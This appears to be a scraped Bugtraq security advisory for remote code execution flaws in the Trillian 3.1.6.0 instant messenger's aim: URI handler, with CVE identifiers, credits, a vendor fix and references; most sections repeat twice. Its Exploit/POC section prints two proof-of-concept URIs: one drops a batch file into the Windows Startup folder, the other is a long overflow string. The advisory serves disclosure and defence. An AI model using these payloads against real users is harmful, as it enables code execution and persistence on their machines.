Trillian URI Handler Remote Code Execution Vulnerabilities
BID:24927
Info
Trillian URI Handler Remote Code Execution Vulnerabilities
| Bugtraq ID: | 24927 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2007-3833 CVE-2007-3832 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 16 2007 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | Nate Mcfeters, Billy (BK) Rios, and Raghav "the Pope" Dube are credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Cerulean Studios Trillian 3.1.6.0 |
| Not Vulnerable: |
Cerulean Studios Trillian 3.1.7.0 |
Discussion
Trillian URI Handler Remote Code Execution Vulnerabilities
Trillian is prone to remote command- and code-execution vulnerabilities because the application fails to properly handle user-supplied input via a registered URI.
Successfully exploiting these issues allows attackers to execute arbitrary commands or code in the context of the affected application.
Trillian is prone to remote command- and code-execution vulnerabilities because the application fails to properly handle user-supplied input via a registered URI.
Successfully exploiting these issues allows attackers to execute arbitrary commands or code in the context of the affected application.
Exploit / POC
Trillian URI Handler Remote Code Execution Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting user to access a maliciously crafted URI.
The following exploit URIs are available:
aim:%20&c:/windows/system32/calc.exe%22%20ini=%22C:/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup/pwnd.bat%22
aim:/#1111111/11111111111111111111111111111111111111111111111111111111111112222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222226666666AAAABBBB6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
To exploit these issues, an attacker must entice an unsuspecting user to access a maliciously crafted URI.
The following exploit URIs are available:
aim:%20&c:/windows/system32/calc.exe%22%20ini=%22C:/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup/pwnd.bat%22
aim:/#1111111/11111111111111111111111111111111111111111111111111111111111112222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222226666666AAAABBBB6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
Solution / Fix
Trillian URI Handler Remote Code Execution Vulnerabilities
Solution:
The vendor released an update to address this issue. Please see the references for more information.
Solution:
The vendor released an update to address this issue. Please see the references for more information.
References
Trillian URI Handler Remote Code Execution Vulnerabilities
References:
References:
- Cross Application Scripting Demo / URI Vulnerabilities Demo (Trillian 0-day) (Nate Mcfeters, Billy (BK) Rios, Raghav "the Pope" Dube)
- Trillian 3.1.7.0 (Cerulean Studios )
- Trillian Homepage (Cerulean Studios)
- Vulnerability Note VU#786920 (US-CERT)